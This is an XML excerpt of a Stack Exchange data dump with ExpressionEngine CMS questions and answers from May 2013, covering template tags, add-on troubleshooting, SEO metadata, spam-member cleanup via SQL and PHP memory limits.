  <row Id="10351" PostTypeId="1" AcceptedAnswerId="10359" CreationDate="2013-05-13T21:28:36.157" Score="1" ViewCount="221" Body="&lt;p&gt;I've looked at SEO Lite and NSM Better Meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These SEO addons come with 1 default fallback template. By &quot;fallback&quot; I am referring to fallback meta data that displays if there is no title, description, or keyword values saved to the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to have different fallback SEO meta on a per section basis if no SEO meta is entered for an entry. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-05-13T23:55:26.457" Title="SEO meta - Multiple fallback options?" Tags="|templates|seo|seo-lite|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10352" PostTypeId="2" ParentId="10316" CreationDate="2013-05-13T21:30:51.727" Score="0" Body="&lt;p&gt;Another option would be to use a proper API for this. Take a look at Channel Data. I made it so that it would solve this exact problem, as I grew tired of writing hard to maintain code, and one with hardcoded id's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Channel Data, you would do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entries = $this-&amp;gt;EE-&amp;gt;channel_data-&amp;gt;get_channel_entries($channel_id, array(&#xA;    'where' =&amp;gt; array(&#xA;        'channel_titles.channel_id' =&amp;gt; $this-&amp;gt;settings-&amp;gt;channel_id&#xA;    ),&#xA;    'order_by' =&amp;gt; 'entry_date'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This would return an Active Record object the same as the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;get()&lt;/code&gt; method&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Channel-Data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there is nothing wrong with other solution, Channel Data can provide a more abstract approach that can be easier to maintain in the long run if the fields ever were to change.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-13T21:30:51.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10353" PostTypeId="2" ParentId="10337" CreationDate="2013-05-13T21:41:00.600" Score="4" Body="&lt;p&gt;Something is way off about your approach. You should not need the &lt;code&gt;ob_start()&lt;/code&gt; methods if you were to build this properly. If you need a callback method, what you really want to look into is a using a module for a &quot;controller&quot;. (For more info on a controller, refer to CodeIgniter's MVC pattern.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So could create an ACT url (&lt;a href=&quot;http://yourdomain.com/ACT=X&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/ACT=X&lt;/a&gt;) and this will be your callback. This will be called before the TMPL object is instantiated, and therefor you can more easily fetch the global instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways that are commonly used to grab the instance in the controller (EE 2.5.5 and before).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in 2.6+ it's simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-13T21:41:00.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10354" PostTypeId="2" ParentId="10337" CreationDate="2013-05-13T21:44:07.913" Score="1" Body="&lt;p&gt;Have you tried?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ee =&amp;amp; get_instance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-05-13T21:44:07.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10355" PostTypeId="1" CreationDate="2013-05-13T21:51:48.993" Score="1" ViewCount="123" Body="&lt;p&gt;Is there anyway to relate a category tag pair to a entries tag pair? I have this code below and I am trying to get the 'long_head' custom category name to relate to the entries being outputted above it. So if the entry above had a category of 'BEANS' I would like the 'long_head' to be the long head from the category 'BEANS'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;services&quot; limit=&quot;1&quot;}&#xA;&amp;lt;div id=&quot;page&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        {service_text}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- // page --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;div id=&quot;nxtBack&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}&quot; title=&quot;Back to Home Page&quot;&amp;gt;&amp;amp;larr; Back to Home Page&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;rel-work&quot;&amp;gt;&#xA;    {exp:channel:categories style=&quot;none&quot;}&#xA;    &amp;lt;h2&amp;gt;{long_head} Projects&amp;lt;/h2&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:channel:entries channel=&quot;work&quot; limit=&quot;20&quot; status=&quot;New|Open&quot; related_categories_mode=&quot;yes&quot; custom_fields=&quot;yes&quot;}&#xA;        {if no_results}&#xA;            &amp;lt;p class=&quot;alert&quot;&amp;gt;There are currently no related projects to this service in our online portfolio.&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{title_permalink=&quot;work/view&quot;}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{project_th}&quot; alt=&quot;{title}&quot; /&amp;gt;{if status == &quot;New&quot;}&amp;lt;img src=&quot;/_/img/new-work.png&quot; class=&quot;new&quot; alt=&quot;NEW Project - {title}&quot; /&amp;gt;{/if}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;work/view&quot;}&quot; title=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{categories backspace=&quot;2&quot;}&amp;lt;a href=&quot;{path=&quot;work&quot;}&quot; title=&quot;&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt; / {/categories}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{project_excerpt}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}work&quot; title=&quot;View all work&quot;&amp;gt;View all work &amp;amp;rarr;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- // rel-work --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-06-13T00:37:58.977" Title="Related Categories" Tags="|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10356" PostTypeId="1" AcceptedAnswerId="10361" CreationDate="2013-05-13T23:31:05.183" Score="4" ViewCount="119" Body="&lt;p&gt;I have a Zoo Visitor form that populates a channel entry. All is well in that it actually submits the content. However, the strange thing is I would have no way of knowing that until I check ExpressionEngine's control panel and seeing that the edits have been made -- because the browser hangs the moment I press submit. It looks like it's perpetually loading. Then trying to go anywhere else on the site makes it super super slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I close the browser and visit the form again, everything loads fast on the site. But when I make a change in the form and press enter, again, browser hangs forever even though it looks like it submitted in EE. It never goes to the /success/ page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditDate="2013-05-13T23:40:57.303" LastActivityDate="2013-05-14T01:11:41.650" Title="Zoo Visitor Update Hangs Browser But Submits Content" Tags="|zoo-visitor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10357" PostTypeId="2" ParentId="10356" CreationDate="2013-05-13T23:36:04.680" Score="4" Body="&lt;p&gt;The most likely culprit is an extension using the entry_submission_end hook (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/&lt;/a&gt;) that is getting hung up.  (It'd be after the entry_submission_start/ready hooks, since it's saving the entry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to disable all the extensions, and to see if the problem persists.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-05-13T23:36:04.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10358" PostTypeId="2" ParentId="10355" CreationDate="2013-05-13T23:38:23.867" Score="1" Body="&lt;p&gt;Since you're just outputting a single channel entry at the top, you can just enclose the category section inside the &lt;code&gt;channel:entries&lt;/code&gt; loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel='services' &#xA;    limit='1'&#xA;    disable='pagination|member_data'&#xA;}&#xA;    &amp;lt;div id=&quot;page&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            {service_text}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- // page --&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;nxtBack&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}&quot; title=&quot;Back to Home Page&quot;&amp;gt;&amp;amp;larr; Back to Home Page&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;rel-work&quot;&amp;gt;&#xA;        {categories}&#xA;            &amp;lt;h2&amp;gt;{long_head} Projects&amp;lt;/h2&amp;gt;&#xA;        {/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-13T23:38:23.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10359" PostTypeId="2" ParentId="10351" CreationDate="2013-05-13T23:46:34.483" Score="1" Body="&lt;p&gt;Have you seen my blog post on &lt;a href=&quot;http://caffeinecreations.ca/blog/seo-and-expressionengine&quot; rel=&quot;nofollow&quot;&gt;SEO &amp;amp; ExpressionEngine&lt;/a&gt;. I'm sure using that approach would get you partway to what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I would take a look at SurgEEo - which I believe addresses some of what I was trying to do in the blog post linked above. I'm going to be trying out &lt;a href=&quot;http://devot-ee.com/add-ons/surgeeo&quot; rel=&quot;nofollow&quot;&gt;SurgEEo&lt;/a&gt; on my next build so can't guarantee this yet.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-13T23:46:34.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10360" PostTypeId="2" ParentId="10351" CreationDate="2013-05-13T23:55:26.457" Score="0" Body="&lt;p&gt;SEO Lite has tag parameters that allow you to override the default meta data directly within the template. So you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit='1'}&#xA;    {if channel_short_name == 'blog'}&#xA;        {exp:seo_lite &#xA;            entry_id='{entry_id}'&#xA;            default_title='Blog'&#xA;            default_description='The bestest blog in the whole wide world.'&#xA;            default_keywords='blog, posts, stuff, junk, things'&#xA;        }&#xA;    {/if}&#xA;    {if channel_short_name == 'contact'}&#xA;        {exp:seo_lite &#xA;            entry_id='{entry_id}'&#xA;            default_title='Contact'&#xA;            default_description='Contact us because we are awesome.'&#xA;            default_keywords='contact, email, form, notify'&#xA;        }&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;http://wedoaddons.com/addon/seo-lite/documentation#the-ultimate-setup&quot; rel=&quot;nofollow&quot;&gt;a similar example in the docs&lt;/a&gt; that uses embedded template variables.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-13T23:55:26.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10361" PostTypeId="2" ParentId="10356" CreationDate="2013-05-14T01:11:41.650" Score="2" Body="&lt;p&gt;I disabled MX Notify Control and everything began working again. It looks like that was the culprit!&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-05-14T01:11:41.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10362" PostTypeId="1" AcceptedAnswerId="10363" CreationDate="2013-05-14T01:25:18.710" Score="2" ViewCount="191" Body="&lt;p&gt;My first EE 1.6.8 site is coming back to haunt me. The site crashed and burned the other day. Took a look at the members in the DB and there's about 78000 spam members in there. I have access to PHPAdmin for the DB, but I don't know what I'm doing in there. Any help?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-05-14T02:58:50.063" Title="How can I remove thousands of spam members on a non-member site?" Tags="|members|database|spam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10363" PostTypeId="2" ParentId="10362" CreationDate="2013-05-14T02:33:07.373" Score="6" Body="&lt;p&gt;&lt;strong&gt;Always backup first!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully they're all still pending. Go into phpMyAdmin query tab and run the following query to delete pending members:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM exp_members WHERE group_id = 'PENDING GROUP ID'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also run the query right from the control panel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Admin › Utilities › SQL Manager › Database Query Form&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the site isn't setup to verify membership, you could run a query to delete all members after a certain date, specifically the day of spam and after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM exp_members WHERE join_date &amp;gt; 'UNIXTIMESTAMP'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this tool to help figure out the &lt;a href=&quot;http://www.unixtimestamp.com/&quot;&gt;unix timestamp&lt;/a&gt;. If you don't feel comfortable running the query at first, you could always run a &lt;code&gt;SELECT&lt;/code&gt; query to confirm correct selection of members.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_members WHERE join_date &amp;gt; 'UNIXTIMESTAMP'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-05-14T02:58:50.063" LastActivityDate="2013-05-14T02:58:50.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10364" PostTypeId="2" ParentId="10236" CreationDate="2013-05-14T06:18:19.887" Score="0" Body="&lt;p&gt;Instead of using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option {if selected}selected{/if} value=&quot;{option_value}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, add the &lt;code&gt;row_id&lt;/code&gt; parameter to your &lt;code&gt;{exp:cartthrob:item_options}&lt;/code&gt; tag.&lt;br&gt;&#xA;ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options row_id=&quot;{row_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-05-14T20:58:40.033" LastActivityDate="2013-05-14T20:58:40.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10366" PostTypeId="1" CreationDate="2013-05-14T10:01:42.927" Score="0" ViewCount="95" Body="&lt;p&gt;Is it possible to use a variable in my content?  If got my basic pages with a title and body. In the CP I use a WYSIWYG editor for the body. &#xA;For example. Now I don't want to put my name or phonenumber on every page. Or I want to put a Username somewhere in the content. Like you do with Emailings. &#xA;Could I use something like {username} or {phonenumber} in my editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx, &#xA;Martijn&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-05-14T10:01:42.927" Title="Use variable in content" Tags="|variable|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10367" PostTypeId="1" CreationDate="2013-05-14T10:08:46.590" Score="0" ViewCount="78" Body="&lt;p&gt;I am on EE 2.5.5 and Assets 2.1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{cf_moebel_assets}&lt;/code&gt; is a custom assets field.  The &lt;code&gt;{filename}&lt;/code&gt; variable outputs the extension as well: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_moebel_assets}&#xA;    {subfolder}{filename}-z1.{extension}&#xA;{/cf_moebel_assets}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will render as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;designklassiker_tisch.jpg-z1.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried it on a standalone template and the short version. It always outputs the extension.&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="209" LastEditDate="2013-05-14T13:17:42.163" LastActivityDate="2013-05-14T13:17:42.163" Title="{filename} is outputting the extension as well" Tags="|assets|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10368" PostTypeId="1" AcceptedAnswerId="11476" CreationDate="2013-05-14T10:31:26.840" Score="1" ViewCount="41" Body="&lt;p&gt;I want to use the twitter user api to get all images from a user. &#xA;I have tried using search, but sadly the search api only has 6-9 days worth of tweets. (&lt;a href=&quot;https://dev.twitter.com/docs/using-search&quot; rel=&quot;nofollow&quot;&gt;https://dev.twitter.com/docs/using-search&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that will filter tweets with an image and give me the direct link to the image? If not I will have to write it myself. &#xA;I am currently using EE Twitter by Click Rain to get all tweets from a user. &lt;/p&gt;&#xA;" OwnerUserId="1099" LastActivityDate="2013-06-25T12:37:20.660" Title="Twitter search for images from user" Tags="|twitter|twitter-search-2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10369" PostTypeId="1" AcceptedAnswerId="10458" CreationDate="2013-05-14T10:39:51.593" Score="2" ViewCount="167" Body="&lt;p&gt;I have a strange issue login issue for super-admins. The site is up and running and all other users can login as normal but it hangs when ever a super-admin logins in. I have manually cleared the cache but to no avail . I am running expression engine 2.4.0 &lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-05-16T15:39:51.183" Title="Super Admin Control Panel login issue" Tags="|control-panel|super-admin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10370" PostTypeId="1" AcceptedAnswerId="10371" CreationDate="2013-05-14T11:45:55.633" Score="3" ViewCount="227" Body="&lt;p&gt;I would like to order my products by price, how cat i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;product:price_val&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's not work...&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="1486" LastEditDate="2013-05-14T11:51:43.267" LastActivityDate="2013-05-14T12:28:00.210" Title="How to order by price products in Exp:resso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10371" PostTypeId="2" ParentId="10370" CreationDate="2013-05-14T12:28:00.210" Score="2" Body="&lt;p&gt;You need to use the Store &lt;a href=&quot;https://exp-resso.com/docs/store/search_tag.html&quot; rel=&quot;nofollow&quot;&gt;Search tag&lt;/a&gt; instead, which adds some custom Store options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; orderby=&quot;price&quot;}&#xA;    &amp;lt;!-- normal channel entry template here --&amp;gt;&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-14T12:28:00.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10372" PostTypeId="1" CreationDate="2013-05-14T13:38:55.430" Score="0" ViewCount="264" Body="&lt;p&gt;I'm using EE 2.5.5 and noticed recently that the php info tool is showing this error when accessed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Out of memory (allocated 10485760) (tried to allocate 131121 bytes) in /home/curvedes/public_html/mercytouch2/system/expressionengine/controllers/cp/tools_utilities.php on line 2096&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how this should be fixed would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1196" LastActivityDate="2013-05-14T15:47:47.997" Title="Fatal Error Out of memory when trying to access PHP info utility in ee control panel" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10373" PostTypeId="2" ParentId="6699" CreationDate="2013-05-14T14:40:29.180" Score="4" Body="&lt;p&gt;The easiest way to delete 1000s of members is to use the following SQL after backing up your database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE&#xA;FROM `exp_members`&#xA;WHERE `group_id` =x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;x is the member group number you want to delete members from.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-05-14T14:40:29.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10375" PostTypeId="2" ParentId="10241" CreationDate="2013-05-14T15:33:21.403" Score="1" Body="&lt;p&gt;I believe a lot of people have had better luck doing the 2.6.x update by renaming their 3rd party addon folder to something else during the upgrade then changing it back after. I don't know what addon is causing the issue, but I have theories. Do you run Matrix?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-05-15T01:32:59.197" LastActivityDate="2013-05-15T01:32:59.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10376" PostTypeId="2" ParentId="10372" CreationDate="2013-05-14T15:47:47.997" Score="1" Body="&lt;p&gt;Sounds like you need to increase your &lt;a href=&quot;http://www.php.net/manual/en/ini.core.php#ini.memory-limit&quot; rel=&quot;nofollow&quot;&gt;PHP memory limit&lt;/a&gt; in your php.ini file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your server administrator can configure this for you if you have no access to your PHP configuration. If you run a local environment using Mamp or Wamp, you can edit the php.ini and find where it says &lt;code&gt;memory_limit = 32M&lt;/code&gt; (integer may vary so search for memory_limit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase to a higher number like 128M and save the file. Restart the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mamp Pro Example&#xA;&lt;a href=&quot;http://blog-en.mamp.info/2009/09/increase-php-memory-limit-with-mamp-pro.html&quot; rel=&quot;nofollow&quot;&gt;http://blog-en.mamp.info/2009/09/increase-php-memory-limit-with-mamp-pro.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-05-14T15:47:47.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10377" PostTypeId="1" CreationDate="2013-05-14T15:58:48.317" Score="1" ViewCount="64" Body="&lt;p&gt;I'm using WYGWAM 2.7 and expressionengine 2.5.5.&#xA;I get this error:&#xA;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Please contact support about failure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 683&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the word &quot;evaluation&quot; is used in my WYGWAM channel field. If I take it out the page works fine.&lt;/p&gt;&#xA;" OwnerUserId="1488" LastActivityDate="2013-05-14T15:58:48.317" Title="If I use any text with &quot;eval&quot; in it the page throws a PHP error (e.g. &quot;evaluation&quot;)" Tags="|ee2|wygwam|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10378" PostTypeId="1" AcceptedAnswerId="10410" CreationDate="2013-05-14T20:30:48.863" Score="1" ViewCount="104" Body="&lt;p&gt;I am using assets for a photo gallery site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first page shows the list of images as thumbnails, when you click a thumbnail it loads a page where it just shows the single image (passing the file_id through segment_4). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do make the large image on this page clickable to go to the next image on it's own page (unique URL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me if this is possible and if so how i should go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;big thanks.&lt;/p&gt;&#xA;" OwnerUserId="1489" LastEditorUserId="1489" LastEditDate="2013-05-15T13:35:45.310" LastActivityDate="2013-05-27T22:23:15.347" Title="Next &amp; Previous files" Tags="|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10379" PostTypeId="1" CreationDate="2013-05-14T20:42:43.820" Score="4" ViewCount="611" Body="&lt;p&gt;Given a Playa field in Low Variables called &lt;code&gt;widgets&lt;/code&gt;, how would I output the title of each widget? Below is what I'd expect, but it outputs nothing. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:low_variables:parse var=&quot;widgets&quot;}&#xA;        {title}&#xA;      {/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17" LastActivityDate="2013-07-15T13:19:00.927" Title="How to use Playa in Low Variables?" Tags="|playa|low-variables|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10380" PostTypeId="2" ParentId="10369" CreationDate="2013-05-14T20:55:54.763" Score="0" Body="&lt;p&gt;Is this a new issue? By chance, are you running NSM Addon Updater and any of P&amp;amp;T's add-ons? We had a similar-sounding issue with a number of our installs when P&amp;amp;T moved over to devot-ee -- SuperAdmins would be the only ones affected assuming they are the only ones you are letting see the NSM Addon Updater info. We disabled NSM Addon Updater and everything went back to normal. &lt;/p&gt;&#xA;" OwnerUserId="756" LastActivityDate="2013-05-14T20:55:54.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10381" PostTypeId="2" ParentId="10240" CreationDate="2013-05-14T21:00:01.117" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/10276/55&quot;&gt;Bhashkar's answer&lt;/a&gt; is great - though a quicker solution might be to install &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow noreferrer&quot;&gt;Title Master&lt;/a&gt;. It has an option to update the URL title for all entries in a particular channel at once - and it's also an incredibly useful add-on.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-14T21:00:01.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10382" PostTypeId="2" ParentId="10342" CreationDate="2013-05-14T21:10:58.657" Score="1" Body="&lt;p&gt;Jordan, can you post this over at boldminded.com/support? Include version of EE, and maybe FTP access so I can debug this. There are several other calls in there with 93% and 6,320 ms, so the CSM call isn't much different.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-05-14T21:10:58.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
